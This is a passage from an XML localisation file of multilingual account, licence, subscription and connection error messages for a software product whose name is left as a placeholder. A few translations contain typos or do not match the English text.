<en-gb>E-mail $1 and notify account holder</en-gb>
<hu>E-maik $1-nek, és értesítés a fióktulajdonosnak</hu>
<pt-br>Enviar email para $1 e notificar holder da conta</pt-br>
<nl>E-mailbericht verzenden naar $1 en de eigenaar van de account op de hoogte brengen</nl>
</msg>
<msg name="ALERT">
<en>Notify account holder</en>
<de>Kontoinhaber benachrichtigen</de>
<es>Notificar al tenedor de la cuenta</es>
<fr>Avertissez le titulaire du compte</fr>
<it>Comunica al titolare dell'account</it>
<ru>Уведомить владельца учетной записи</ru>
<ja>アカウント ホルダに通知する</ja>
<zh>通知帐户持有者</zh>
<ko>계정 소유자에게 알림</ko>
<en-gb>Notify account holder</en-gb>
<hu>Értesítés a fióktulajdonosnak</hu>
<pt-br>Notificar holder da conta</pt-br>
<nl>De eigenaar van de account op de hoogte brengen</nl>
</msg>
</cat>
</cat>
<cat name="ERROR">
<msg name="120">
<!-- ERROR_CALL_NOT_IMPLEMENTED -->
<en>The feature you have selected is not available on this operating system.</en>
<de>Die ausgewählte Funktion steht auf diesem Betriebssystem nicht zur Verfügung.</de>
<es>La función que ha seleccionado no está disponible para este sistema operativo.</es>
<fr>La fonction que vous avez choisie n'est pas applicable sur ce système d'exploitation</fr>
<it>La funzione selezionata non è disponibile in questo sistema operativo.</it>
<ru>Выбранная функция недоступна в данной операционной системе.</ru>
<ja>選択した機能は、このオペレーティング システムでは有効ではありません。</ja>
<zh>您所选的功能在此操作系统上不可用。</zh>
<ko>선택한 기능을 이 운영 체제에서 사용할 수 없습니다.</ko>
<en-gb>The feature you have selected is not available on this operating system.</en-gb>
<hu>A kiválasztott funkció nem érhető el ezen az operációs rendszeren.</hu>
<pt-br>O recurso que você selecionou não está disponível neste sistema operacional.</pt-br>
<nl>De door u geselecteerde functie is niet beschikbaar voor dit besturingssysteem.</nl>
</msg>
<msg name="12004">
<!-- ERROR_INTERNET_INTERNAL_ERROR -->
<en>Our server encountered an error while processing your request. Please try again later,
or contact technical support for assistance.</en>
<de>Unser Server entdeckte während der Anfrage einen Fehler. Bitte versuchen Sie es später noch einmal oder wenden Sie sich an den technischen Support.</de>
<es>Nuestro servidor ha sufrido un error al procesar su petición. Inténtelo de nuevo más tarde,
o póngase en contacto con la asistencia técnica.</es>
<fr>Notre serveur a généré une erreur en traitant votre requête. Essayez à nouveau plus tard,
ou contactez le support technique.</fr>
<it>Il nostro server ha riscontrato un errore durante l'elaborazione della richiesta. Riprovare più tardi o contattare il supporto tecnico per assistenza.</it>
<ru>Наш сервер обнаружил ошибку при обработке вашего запроса. Повторите попытку позднее или обратитесь в службу технической поддержки за помощью.</ru>
<ja>リクエストの処理中に、サーバーにエラーが発生しました。後で再試行するか、またはテクニカル サポートに問い合わせてください。</ja>
<zh>我们的服务器在处理您的请求时发生错误。请稍后再试,
或与技术支持联络以获得帮助。</zh>
<ko>서버에서 요청을 처리하는 중 오류가 발생했습니다. 나중에 다시 시도하거나, 기술 지원부에 문의하여 지원을 받으십시오.</ko>
<en-gb>Our server encountered an error while processing your request. Please try again later, or contact technical support for assistance.</en-gb>
<hu>Kiszolgálónk hibát talált az Ön kérésének feldolgozása során. Kérem, próbálkozzék újból később,
vagy vegye fel a kapcsolatot a műszaki támogatással segítségért.</hu>
<pt-br>Nosso servidor encontrou um erro ao processar sua solicitação. Tente novamente mais tarde
ou entre em contato com o suporte técnico para obter assistência.</pt-br>
<nl>Op onze server is een fout opgetreden tijdens de verwerking van uw verzoek. Probeer het later opnieuw of neem contact op met de afdeling Technische support voor hulp en advies.</nl>
</msg>
<msg name="12007">
<!-- ERROR_INTERNET_NAME_NOT_RESOLVED -->
<en>Your request could not be sent to our server, because its internet address failed to resolve.
Please make sure that you are connected to the internet and try again.</en>
<de>Ihre Anfrage konnte nicht an unseren Server gesendet werden, weil die Internetadresse nicht aufgelöst werden konnte. Vergewissern Sie sich, dass Sie mit dem Internet verbunden sind und versuchen Sie es noch einmal.</de>
<es>Su petición no ha podido enviarse a nuestro servidor debido a que su dirección de Internet ha sufrido un error al resolverlo.
Asegúrese de que está conectado a Internet e inténtelo otra vez.</es>
<fr>Votre requête ne peut pas être envoyée à notre serveur, parce que l'adresse internet n'a pas pu être résolu.
Veuillez vous assurer que vous êtes bien connectés à Internet puis essayez à nouveau.</fr>
<it>Non è stato possibile inviare la richiesta al server, perché la risoluzione dell'indirizzo Internet non è riuscita. Verificare di essere connessi a Internet e riprovare.</it>
<ru>Ваш запроса не удалось отправить нашему серверу, так как не удалось разрешить его Интернет-адрес.
Проверьте подключение к Интернету и повторите попытку.</ru>
<ja>インターネット アドレスの解決に失敗したため、要求はこちらのサーバーに送信されませんでした。インターネットに接続しているかどうかを確認し、再試行してください。</ja>
<zh>您的请求无法发送至我们的服务器,因为其 Internet 地址解析失败。
请确保您已连接至 Internet 并再试一次。</zh>
<ko>인터넷 주소를 확인하지 못했으므로 서버로 요청을 보낼 수 없습니다. 인터넷에 연결되었는지 확인하고 다시 시도하십시오.</ko>
<en-gb>Your request could not be sent to our server, because its internet address failed to resolve. Please make sure that you are connected to the internet and try again.</en-gb>
<hu>Kérését nem tudtuk elküldeni a kiszolgálónkra, mivel annak Internet-címét nem sikerült feloldani.
Kérem, ellenőrizze Internet-kapcsolatát, majd próbálkozzék újból.</hu>
<pt-br>Sua solicitação não pôde ser enviada para o nosso servidor, pois seu endereço de Internet não pôde ser resolvido.
Assegure-se de estar conectado à Internet e tente novamente.</pt-br>
<nl>Uw verzoek kon niet naar onze server worden verzonden omdat het internetadres niet kon worden omgezet. Controleer of u met internet bent verbonden en probeer het opnieuw.</nl>
</msg>
<msg name="12029">
<!-- ERROR_INTERNET_CANNOT_CONNECT -->
<en>A connection with our server could not be established. Please make sure that you are
connected to the internet and try again.</en>
<de>Die Verbindung zu unserem Server konnte nicht hergestellt werden. Vergewissern Sie sich, dass Sie mit dem Internet verbunden sind.</de>
<es>No se pudo establecer una conexión con nuestro servidor. Asegúrese de que está
conectado a Internet e inténtelo otra vez.</es>
<fr>Une connexion avec notre serveur n'a pas pu être établie. Veuillez vous assurer que vous êtes bien
connnecté à Internet et essayez à nouveau.</fr>
<it>Non è stato possibile stabilire una connessione con il nostro server. Verificare di essere connessi  a Internet e riprovare.</it>
<ru>Не удалось установить подключение к нашему серверу. Проверьте подключение к Интернету и повторите попытку.</ru>
<ja>こちらのサーバーとの接続が確立できませんでした。インターネットに接続しているかどうかを確認し、再試行してください。</ja>
<zh>无法建立与我们服务器的连接。请确保您已连接至 Internet 并再试一次。</zh>
<ko>서버와 연결을 설정할 수 없습니다. 인터넷에 연결되었는지 확인하고 다시 시도하십시오.</ko>
<en-gb>A connection with our server could not be established. Please make sure that you are connected to the Internet and try again.</en-gb>
<hu>Nem lehet létrehozni a kapcsolatot a mi kiszolgálónkkal. Kérjük, győződjön meg róla, hogy 
Internet-kapcsolata él, és próbálkozzék újból.</hu>
<pt-br>Não foi possível estabelecer uma conexão com o nosso servidor. Assegure-se de estar
conectado à Internet e tente novamente.</pt-br>
<nl>Er kon geen verbinding worden gemaakt met onze server. Controleer of u met internet bent verbonden en probeer het opnieuw.</nl>
</msg>
<msg name="19001">
<en>The user is not authenticated.</en>
<de>Der Benutzer ist nicht authentifiziert.</de>
<es>El usuario no está autenticado.</es>
<fr>L'utilisateur n'est pas authentifié.</fr>
<it>L'utente non è autenticato.</it>
<ru>Данный пользователь не прошел проверку подлинности.</ru>
<ja>このユーザは認証されていません。</ja>
<zh>未验证此用户。</zh>
<ko>사용자가 인증되지 않았습니다.</ko>
<en-gb>The user is not authenticated.</en-gb>
<hu>A felhasználó nincs hitelesítve.</hu>
<pt-br>O usuário não está autenticado.</pt-br>
<nl>De gebruiker is niet geverifieerd.</nl>
</msg>
<msg name="19002">
<en>The email address was not found in the database.</en>
<de>Die Emailadresse konnte in der Datenbank nicht gefunden werden.</de>
<es>No se encontró la dirección de correo electrónico en la base de datos.</es>
<fr>L'adresse eamil n'a pas été trouvée dans la base de données.</fr>
<it>L'indirizzo e-mail non è stato trovato nel database.</it>
<ru>Данный адрес электронной почты не найден в базе данных.</ru>
<ja>この電子メール アドレスは、データベース内に見つかりませんでした。</ja>
<zh>未在数据库中找到电子邮件地址。</zh>
<ko>데이터베이스에 전자 메일 주소가 없습니다.</ko>
<en-gb>The e-mail address was not found in the database.</en-gb>
<hu>Az e-mail cím nem található meg az adatbázisban.</hu>
<pt-br>O endereço de email não foi encontrado no banco de dados.</pt-br>
<nl>Het e-mailadres is niet in de database gevonden.</nl>
</msg>
<msg name="19003">
<en>The account password is incorrect.</en>
<de>Der Benutzername und/oder das Kennwort sind falsch.</de>
<es>La contraseña de la cuenta no es correcta.</es>
<fr>Le mot de passe du compte est incorrect.</fr>
<it>La password dell'account non è corretta.</it>
<ru>Неверный пароль учетной записи.</ru>
<ja>このアカウント パスワードは正しくありません。</ja>
<zh>帐户密码不正确。</zh>
<ko>계정 암호가 잘못되었습니다.</ko>
<en-gb>The account password is incorrect.</en-gb>
<hu>A fiók jelszava hibás.</hu>
<pt-br>A senha da conta está incorreta.</pt-br>
<nl>Het wachtwoord van de account is niet correct.</nl>
</msg>
<msg name="19004">
<en>The specified email address is already registered in our database.</en>
<de>Die angegebene Emailadresse ist bereits in der Datenbank registriert.</de>
<es>La dirección de correo electrónico especificada ya está registrada en nuestra base de datos.</es>
<fr>l'adresse email indiquée est déjà enregistrée dans notre base de données.</fr>
<it>L'indirizzo e-mail specificato è già registrato nel nostro database.</it>
<ru>Указанный адрес электронной почты уже зарегистрирован в нашей базе данных.</ru>
<ja>指定した電子メール アドレスは、データベースに既に登録されています。</ja>
<zh>指定的电子邮件地址在我们的数据库中已注册。</zh>
<ko>지정된 전자 메일 주소가 이미 데이터베이스에 등록되어 있습니다.</ko>
<en-gb>The specified e-mail address is already registered in our database.</en-gb>
<hu>A megadott e-mail cím már regisztrálva van adatbázisunkban.</hu>
<pt-br>O endereço de email especificado já está registrado no nosso banco de dados.</pt-br>
<nl>Het opgegeven e-mailadres is reeds in onze database geregistreerd.</nl>
</msg>
<msg name="19005">
<en>No matching records found in the database.</en>
<de>Die Datenbank steht im Moment nicht zur Verfügung. Bitte versuchen Sie es später noch einmal.</de>
<es>No se encontraron registros coincidentes en la base de datos.</es>
<fr>Aucun enregistrement n'a été trouvé dans la base de données.</fr>
<it>Nessun record corrispondente trovato nel database.</it>
<ru>Совпадающие записи в базе данных не найдены.</ru>
<ja>データベースに一致する記録が見つかりませんでした。</ja>
<zh>未在数据库中找到匹配的记录。</zh>
<ko>데이터베이스에서 일치하는 레코드를 찾을 수 없습니다.</ko>
<en-gb>No matching records found in the database.</en-gb>
<hu>Nincs egyező bejegyzés az adatbázisban.</hu>
<pt-br>Não foram encontrados registros correspondentes no banco de dados.</pt-br>
<nl>Er zijn geen overeenkomende records in de database gevonden.</nl>
</msg>
<msg name="19006">
<en>At least one of the requeried parameters was not specified.</en>
<de>Mindestens ein erforderlicher Parameter wurde nicht angegeben.</de>
<es>No se especificó al menos uno de los parámetros necesarios.</es>
<fr>Au moins un des paramètres reuquis n'a pas été spécifié</fr>
<it>Almeno uno dei parametri richiesti non è stato specificato.</it>
<ru>Не был указан как минимум один из требуемых параметров.</ru>
<ja>必須のパラメータのうち最低 1 つが指定されていません。</ja>
<zh>至少未指定其中一个需要的参数。</zh>
<ko>필수 매개 변수 중 하나 이상이 지정되지 않았습니다.</ko>
<en-gb>At least one of the requeried parameters was not specified.</en-gb>
<hu>Legalább egy szükséges paraméter nincs megadva.</hu>
<pt-br>Pelo menos um dos parâmetros necessários não foi especificado.</pt-br>
<nl>Minstens één van de vereiste parameters is niet opgegeven.</nl>
</msg>
<msg name="19007">
<en>This account does not need to be activated.</en>
<de>Das Konto muss nicht aktiviert werden.</de>
<es>Esta cuenta no necesita ser activada.</es>
<fr>Ce compte n'a pas besoin d'être activé.</fr>
<it>Questo account non deve essere attivato.</it>
<ru>Данная учетная запись не требует активации.</ru>
<ja>このアカウントを有効にする必要はありません。</ja>
<zh>不必激活此帐户。</zh>
<ko>이 계정을 활성화할 필요가 없습니다.</ko>
<en-gb>This account does not need to be activated.</en-gb>
<hu>Ez a fiók nem igényel aktiválást.</hu>
<pt-br>Esta conta não precisa ser ativada.</pt-br>
<nl>Deze account moet niet worden geactiveerd.</nl>
</msg>
<msg name="19008">
<en>The specified activation code is incorrect. Make sure you typed it in correctly and try again.</en>
<de>Der angegebene Aktivierungscode ist ungültig. Versuchen Sie es noch einmal.</de>
<es>El código de activación especificado no es correcto. Asegúrese de que lo ha escrito correctamente e inténtelo otra vez.</es>
<fr>Le code d'activation est incorrect. Assurez-vous que vous l'avez saisi correctement et essayez à nouveau.</fr>
<it>Il codice di attivazione specificato non è corretto. Verificare di averlo digitato correttamente e riprovare.</it>
<ru>Указан неверный код активации. Проверьте корректность ввода кода и повторите попытку.</ru>
<ja>指定したアクティベーション コードは正しくありません。正しく入力したかどうか確認し、再試行してください。</ja>
<zh>指定的激活代码不正确。请确保您正确地键入此代码并再试一次。</zh>
<ko>지정된 활성화 코드가 잘못되었습니다. 올바르게 입력했는지 확인하고 다시 시도하십시오.</ko>
<en-gb>The specified activation code is incorrect. Make sure you typed it in correctly and try again.</en-gb>
<hu>A megadott aktiváló kód hibás. Ellenőrizze, hogy helyesen írta be, majd próbálkozzék újból.</hu>
<pt-br>O código de ativação especificado está incorreto. Assegure-se de que o que foi digitado esteja correto e tente novamente.</pt-br>
<nl>De opgegeven activeringscode is niet correct. Controleer of u de code correct hebt ingevoerd en probeer het opnieuw.</nl>
</msg>
<msg name="19009">
<en>The specified computer is not registered in the database.</en>
<de>Der angegebene Computer ist in der Datenbank nicht registriert.</de>
<es>El ordenador indicado no está registrado en la base de datos.</es>
<fr>L'ordinateur indiqué n'est pas enregistré dans la base de données.</fr>
<it>Il computer specificato non è registrato nel database.</it>
<ru>Указанный компьютер не зарегистрирован в базе данных.</ru>
<ja>指定したコンピュータは、データベースに登録されていません。</ja>
<zh>指定的计算机没有在数据库中注册。</zh>
<ko>지정된 컴퓨터가 데이터베이스에 등록되지 않았습니다.</ko>
<en-gb>The specified computer is not registered in the database.</en-gb>
<hu>Az megadott számítógép nincs regisztrálva az adatbázisban.</hu>
<pt-br>O computador especificado não está registrado no banco de dados.</pt-br>
<nl>De opgegeven computer is niet in de database geregistreerd.</nl>
</msg>
<msg name="19010">
<en>This user account is closed or banned.</en>
<de>Das Benutzerkonto ist geschlossen oder gesperrt.</de>
<es>Esta cuenta de usuario está cerrada o vetada.</es>
<fr>Ce compte d'utilisateur est fermé ou interdit.</fr>
<it>Questo account utente è chiuso o vietato.</it>
<ru>Данная учетная запись закрыта или запрещена.</ru>
<ja>このユーザ アカウントは、廃止されているか接続拒否されています。</ja>
<zh>此用户帐户已关闭或禁用。</zh>
<ko>이 사용자 계정은 닫혔거나 금지되었습니다.</ko>
<en-gb>This user account is closed or banned.</en-gb>
<hu>Ez a felhasználói fiók le van zárva, vagy tiltva van.</hu>
<pt-br>Esta conta de usuário está fechada ou interditada.</pt-br>
<nl>Deze gebruikersaccount is gesloten of afgewezen.</nl>
</msg>
<msg name="19011">
<en>This user account is locked out.</en>
<de>Das Benutzerkonto wurde ausgesperrt.</de>
<es>Esta cuenta de usuario está bloqueada.</es>
<fr>Ce compte d'utilisateur est fermé à clef dehors.</fr>
<it>Questo account utente è bloccato.</it>
<ru>Данная учетная запись заблокирована.</ru>
<ja>このユーザ アカウントはロック アウトされています。</ja>
<zh>此用户帐户已锁定。</zh>
<ko>이 사용자 계정은 잠겼습니다.</ko>
<en-gb>This user account is locked out.</en-gb>
<hu>Ez a felhasználói fiók zárolva van.</hu>
<pt-br>Esta conta de usuário está bloqueada.</pt-br>
<nl>Deze gebruikersaccount is geblokkeerd.</nl>
</msg>
<msg name="19012">
<en>Somebody is already logged in with this account information.</en>
<de>Jemand ist bereits mit diesen Kontoinformationen angemeldet.</de>
<es>Ya hay alguien registrado con esta información de cuenta.</es>
<fr>Quelqu'un est déjà loggé avec ce compte utilisateur.</fr>
<it>Qualcuno ha già eseguito l'accesso con queste informazioni di account.</it>
<ru>Некто уже вошел в систему с использованием сведений данной учетной записи.</ru>
<ja>このアカウント情報で既にログインしている人がいます。</ja>
<zh>有人已使用此帐户信息登录。</zh>
<ko>다른 사용자가 이 계정 정보로 로그인했습니다.</ko>
<en-gb>Somebody is already logged in with this account information.</en-gb>
<hu>Valaki már bejelentkezett ezekkel a fiók-információkkal.</hu>
<pt-br>Alguém já está conectado com estas informações de conta.</pt-br>
<nl>Er is reeds een gebruiker aangemeld met deze accountgegevens.</nl>
</msg>
<msg name="19013">
<en>This user account has not yet been activated.</en>
<de>Das Benutzerkonto wurde noch nicht aktiviert.</de>
<es>Todavía no se ha activado esta cuenta de usuario.</es>
<fr>Ce compte d'utilisateur n'a pas encore été activé.</fr>
<it>Questo account utente non è ancora stato attivato.</it>
<ru>Данная учетная запись пользователя еще не была активирована.</ru>
<ja>このユーザ アカウントはまだ有効ではありません。</ja>
<zh>此用户帐户尚未激活。</zh>
<ko>이 사용자 계정은 아직 활성화되지 않았습니다.</ko>
<en-gb>This user account has not yet been activated.</en-gb>
<hu>Ez a felhasználói fiók még nincs aktiválva.</hu>
<pt-br>Esta conta de usuário ainda não foi ativada.</pt-br>
<nl>Deze gebruikersaccount is nog niet geactiveerd.</nl>
</msg>
<msg name="19014">
<en>The license you selected was not found in the database.</en>
<de>Die ausgewählte Lizenz konnte in der Datenbank nicht gefunden werden.</de>
<es>No se encontró la licencia seleccionada en la base de datos.</es>
<fr>La license que vous avez choisie n'a pas été trouvée dans la base de données.</fr>
<it>La licenza selezionata non è stata trovata nel database.</it>
<ru>Выбранная лицензия не найдена в базе данных.</ru>
<ja>選択したライセンスはデータベースにありませんでした。</ja>
<zh>未在数据库中找到您所选的许可证。</zh>
<ko>선택한 라이센스가 데이터베이스에 없습니다.</ko>
<en-gb>The licence you selected was not found in the database.</en-gb>
<hu>Az Ön által választott licensz nem található meg az adatbázisban.</hu>
<pt-br>A licença selecionada não foi encontrada no banco de dados.</pt-br>
<nl>De door u geselecteerde licentie is niet in de database gevonden.</nl>
</msg>
<msg name="19015">
<en>No %PRODUCTNAME web gateways are currently available.</en>
<de>Der %PRODUCTNAME Web Gateway steht derzeit nicht zur Verfügung.</de>
<es>Actualmente, no hay disponible ninguna gateway de %PRODUCTNAME.</es>
<fr>Aucun gateway (pont) de %PRODUCTNAME n'est actuellement disponible.</fr>
<it>Nessun gateway Web %PRODUCTNAME attualmente disponibile.</it>
<ru>В настоящее время нет доступных веб-шлюзов %PRODUCTNAME.</ru>
<ja>現在有効な %PRODUCTNAME Web ゲートウェイはありません。</ja>
<zh>当前没有任何可用的 %PRODUCTNAME Web 网关。</zh>
<ko>현재 사용할 수 있는 %PRODUCTNAME 웹 게이트웨이가 없습니다.</ko>
<en-gb>No %PRODUCTNAME web gateways are currently available.</en-gb>
<hu>Jelenleg nincs elérhető %PRODUCTNAME webes átjáró.</hu>
<pt-br>Não há gateways da web para o %PRODUCTNAME disponíveis no momento.</pt-br>
<nl>Op dit moment zijn geen %PRODUCTNAME-websitegateways beschikbaar.</nl>
</msg>
<msg name="19016">
<en>Your user account is not allowed to change the %PRODUCTNAME license
on this computer. Contact your system administrator.</en>
<de>Das Benutzerkonto besitzt nicht das Recht, die %PRODUCTNAME Lizenz auf dem Computer zu ändern. Kontaktieren sie ihren Systemadministrator.</de>
<es>Su cuenta de usuario no tiene permiso para cambiar la licencia para %PRODUCTNAME 
de este ordenador. Póngase en contacto con su administrador de sistema.</es>
<fr>Votre compte d'utilisateur n'est pas autorisé à changer la license de %PRODUCTNAME
sur cet ordinateur. Contactez votre administrateur système.</fr>
<it>L'account utente non è autorizzato a modificare la licenza di %PRODUCTNAME su questo computer. Contattare l'amministratore di sistema.</it>
<ru>В контексте данной учетной записи пользователя не разрешено изменять лицензию %PRODUCTNAME на этом компьютере. Обратитесь к своему системному администратору.</ru>
<ja>このユーザ アカウントでは、このコンピュータの %PRODUCTNAME ライセンスは変更できません。システム管理者に連絡してください。</ja>
<zh>不允许您的用户帐户更改此计算机上的 %PRODUCTNAME 许可证。请与您的系统管理员联络。</zh>
<ko>사용자 계정으로 이 컴퓨터의 %PRODUCTNAME 라이센스를 변경할 수 없습니다. 시스템 관리자에게 문의하십시오.</ko>
<en-gb>Your user account is not allowed to change the %PRODUCTNAME licence on this computer. Contact your system administrator.</en-gb>
<hu>Az Ön felhasználói fiókjának nincs engedélye a %PRODUCTNAME licensz
módosítására ezen a számítógépen. Vegye fel a kapcsolatot a rendszergazdával.</hu>
<pt-br>Sua conta de usuário não tem permissão para alterar a licença do %PRODUCTNAME
neste computador. Entre em contato com o administrador do sistema.</pt-br>
<nl>Met uw gebruikersaccount kunt u de %PRODUCTNAME-licentie op deze computer niet wijzigen. Neem contact op met uw systeembeheerder.</nl>
</msg>
<msg name="19017">
<en>You can't add any more computers to this type of subscription. Visit the
%WEBSVC.NAME website to manage your subscription.</en>
<de>Sie können keine weiteren Computer zu dieser Subscription hinzufügen. Besuchen sie die %WEBSVC.NAME Webseite, um ihre Subscriptions zu verwalten.</de>
<es>No puede agregar ningún ordenador más a este tipo de suscripción. Visite la
página web %WEBSVC.NAME para gestionar su suscripción.</es>
<fr>Vous ne pouvez plus ajouter d'ordinateurs à ce type d'abonnement. Visitez le site Web de 			%WEBSVC.NAME pour vérifier votre abonnement.</fr>
<it>Non è possibile aggiungere altri computer a questo tipo di sottoscrizione. Visitare il sito Web %WEBSVC.NAME per gestire la sottoscrizione.</it>
<ru>В данный тип подписки не могут быть включены дополнительные компьютеры. Посетите веб-сайт %WEBSVC.NAME, чтобы управлять своей подпиской.</ru>
<ja>この種類の利用期間に対しては、これ以上コンピュータを追加することはできません。利用期間の管理については、%WEBSVC.NAME Web サイトをご覧ください。</ja>
<zh>您不能将更多计算机添加到此类订阅。请访问 %WEBSVC.NAME Web 站点以管理您的订阅。</zh>
<ko>컴퓨터를 더 이상 이 가입 유형에 추가할 수 없습니다. %WEBSVC.NAME 웹 사이트를 방문하여 가입을 관리하십시오.</ko>
<en-gb>You can't add any more computers to this type of subscription. Visit the %WEBSVC.NAME website to manage your subscription.</en-gb>
<hu>Nem adhat hozzá további számítógépeket ehhez az előfizetéshez. Látogassa meg a(z)
%WEBSVC.NAME webhelyet, hogy az előfizetését módosítsa.</hu>
<pt-br>Você não pode adicionar mais computadores a esse tipo de assinatura. Visite o
site %WEBSVC.NAME para gerenciar sua assinatura.</pt-br>
<nl>U kunt geen computers meer toevoegen aan dit abonnementstype. Ga naar de website %WEBSVC.NAME om uw abonnement te beheren.</nl>
</msg>
<msg name="19019">
<en>A trial license for this computer has already been issued.</en>
<de>Es wurde bereits eine Trial Lizenz für diesen Computer ausgestellt.</de>
<es>Ya se ha emitido una licencia prueba para este ordenador.</es>
<fr>Une license d'essai a déjà été utilisée sur cet ordinateur.</fr>
<it>Per questo computer è già stata fornita una licenza di prova.</it>
<ru>Пробная версия для данного компьютера уже выдана.</ru>
<ja>このコンピュータの試用版ライセンスは既に発行されています。</ja>
<zh>已经颁发了此计算机的试用版许可证。</zh>
<ko>이 컴퓨터에 대한 평가 라이센스가 이미 발급되었습니다.</ko>
<en-gb>A trial licence has already been issued for this computer.</en-gb>
<hu>Erre a számítógépre már kiadtak egy próbaverziós licenszet.</hu>
<pt-br>Já foi emitida uma licença de avaliação para este computador.</pt-br>
<nl>Een licentie met een proefperiode is reeds aan deze computer verleend.</nl>
</msg>
<msg name="19020">
<en>The computer description you chose is already in use by another computer
of yours. Please change it to something unique.</en>
<de>Die angegebene Computerbeschreibung wird bereits von einem anderen Computer verwendet. Geben sie bitte eine andere ein.</de>
<es>La descripción del ordenador que ha elegido ya está siendo utilizada por otro ordenador
suyo. Cámbiela para que no coincida con ninguna otra descripción.</es>
<fr>La description d'ordinateur que vous avez choisie est déjà utilisée par un autre de vos ordinateurs.
Veuillez la changer en avec une description différentes et encore inutilisée.</fr>
<it>La descrizione prescelta per il computer viene già utilizzata da un altro sistema in uso. Modificarla per renderla univoca.</it>
<ru>Выбранная подписка компьютера уже используется другим вашим компьютером. Измените подписку на неиспользуемую.</ru>
<ja>選択したコンピュータの説明は、他のコンピュータで既に使用されています。固有の説明に変更してください。</ja>
<zh>所选计算机说明已由您的另一台计算机使用。请将其更改为唯一说明。</zh>
<ko>선택한 컴퓨터 설명이 이미 사용자의 다른 컴퓨터에서 사용 중입니다. 고유한 것으로 변경하십시오.</ko>
<en-gb>The computer description you chose is already in use by another computer of yours. Please change it to something unique.</en-gb>
<hu>A választott számítógép-leírást már egy másik számítógépe
használja. Kérem, módosítsa, hogy egyedi legyen.</hu>
<pt-br>A descrição de computador que você escolheu já está em uso por outro computador
seu. Altere-a para algo exclusivo.</pt-br>
<nl>De beschrijving voor de computer die u hebt opgegeven, wordt reeds gebruikt voor één van uw andere computers. Wijzig de beschrijving zodat deze uniek is.</nl>
</msg>
<msg name="19021">
<en>You are not authorized to change security settings for this computer.</en>
<de>Sie haben nicht die Berechtigung, die Sicherheitseinstellungen für diesen Computer zu ändern.</de>
<es>No está autorizado para cambiar la configuración de seguridad de este ordenador.</es>
<fr>Vous n'êtes pas autorisé à changer les paramètres de sécurité sur cet ordinateur.</fr>
<it>Non si dispone delle autorizzazioni per modificare le impostazioni di protezione per questo computer.</it>
<ru>У вас нет прав на изменение параметров безопасности данного компьютера.</ru>
<ja>この認証では、このコンピュータのセキュリティ設定を変更できません。</ja>
<zh>没有授权您更改此计算机的安全设置。</zh>
<ko>이 컴퓨터에 대한 보안 설정을 변경할 수 없습니다.</ko>
<en-gb>You are not authorised to change security settings for this computer.</en-gb>
<hu>Ön nem jogosult módosítani ennek a számítógépnek a biztonsági beállításait.</hu>
<pt-br>Você não está autorizado a alterar as configurações de segurança deste computador.</pt-br>
<nl>U kunt de beveiligingsinstellingen voor deze computer niet wijzigen.</nl>
</msg>
<msg name="19022">
<en>Can not add more than one computer for monthly or yearly subscription.</en>
<de>Mehr als ein Computer kann nicht zu einer monatlichen oder jährlichen Subscription hinzugefügt werden.</de>
<es>No puede agregar más de un ordenador con una suscripción mensual o anual.</es>
<fr>Il n'est pas possible d'ajouter plus d'un ordinateur pour un abonnement mensuel ou annuel.</fr>
<it>Non è possibile aggiungere più di un computer per la sottoscrizione mensile o annuale.</it>
<ru>В ежемесячную или ежегодную подписку нельзя включить более одного компьютера.</ru>
<ja>月刊、または年刊の利用期間に対しては、複数のコンピュータを追加することはできません。</ja>
<zh>无法为每月或每年的订阅添加多台计算机。</zh>
<ko>월별 또는 연간 가입에 대해 둘 이상의 컴퓨터를 추가할 수 없습니다.</ko>
<en-gb>Can not add more than one computer for monthly or yearly subscription.</en-gb>
<hu>Nem adhat hozzá egynél több számítógépet a havi vagy éves előfizetéshez.</hu>
<pt-br>Não é possível adicionar mais de um computador para assinatura mensal ou anual.</pt-br>
<nl>Aan een maandelijks of jaarlijks abonnement kan niet meer dan één computer worden toegewezen.</nl>
</msg>
<msg name="19023">
<en>This computer has already used up its trial.</en>
<de>Die Testphase für diesen Computer ist abgelaufen.</de>
<es>Este ordenador ya ha utilizado su período de prueba.</es>
<fr>Le temps de la version d'évalutation à expiré sur cet ordinateur.</fr>
<it>Il periodo di prova per questo computer è già terminato.</it>
<ru>Данный компьютер исчерпал период пробного использования.</ru>
<ja>このコンピュータは、試用期間が既に過ぎています。</ja>
<zh>此计算机的试用期已经结束。</zh>
<ko>이 컴퓨터에서 이미 평가 버전을 사용했습니다.</ko>
<en-gb>This computer has already used up its trial.</en-gb>
<hu>Ez a számítógép már a próbaverzióhoz van használatban.</hu>
<pt-br>Este computador já usou todo o tempo de avaliação.</pt-br>
<nl>Op deze computer is de proefperiode reeds verstreken.</nl>
</msg>
<msg name="19024">
<en>Subuser can't install a host.</en>
<de>Unterbenutzer können keinen Host installieren.</de>
<es>El subusuario no puede instalar un host.</es>
<fr>Un sous utilisateur ne peut pas installer un serveur.</fr>
<it>Un utente di livello inferiore non può installare un host.</it>
<ru>Подчиненный пользователь не может установить хост-компьютер.</ru>
<ja>サブユーザはホストをインストールすることができません。</ja>
<zh>子用户不能安装主机。</zh>
<ko>하위 사용자는 호스트를 설치할 수 없습니다.</ko>
<en-gb>Subuser can't install a host.</en-gb>
<hu>Az al-felhasználó nem telepíthet gazdagépet.</hu>
<pt-br>O subusuário não pode instalar um host.</pt-br>
<nl>Een secundaire gebruiker kan geen installatie op een hostcomputer uitvoeren.</nl>
</msg>
<msg name="19030">
<en>There is no available subscription of this type.</en>
<de>Es gibt keine verfügbaren Subscriptions dieser Art.</de>
<es>No hay suscripción disponible para este tipo.</es>
<fr>Il n'y a aucun abonnement disponible de ce type.</fr>
<it>Non esistono sottoscrizioni disponibili di questo tipo.</it>
<ru>Нет доступных подписок данного типа.</ru>
<ja>この種類の有効な利用期間はありません。</ja>
<zh>没有可用的此类订阅。</zh>
<ko>이러한 유형의 가입을 사용할 수 없습니다.</ko>
<en-gb>No subscription of this type available.</en-gb>
<hu>Nincs ilyen típusú elérhető előfizetés.</hu>
<pt-br>Não há assinatura desse tipo à disposição.</pt-br>
<nl>Voor dit type is geen abonnement beschikbaar.</nl>
</msg>
<msg name="19031">
<en>Could not attach this computer to your %PRODUCTNAME account.\r\n\r\nPlease open %PRODUCTNAME and confirm your account details.\r\n</en>
<de>Dieser Computer konnte nicht mit Ihrem %PRODUCTNAME-Konto verknüpft werden.\r\n\r\nBitte öffnen Sie %PRODUCTNAME und bestätigen Sie Ihre Kontoangaben</de>
<es>No se pudo vincular este ordenador a su cuenta de %PRODUCTNAME.\r\n\r\nAbra %PRODUCTNAME y confirme los detalles de su cuenta.\r\n</es>
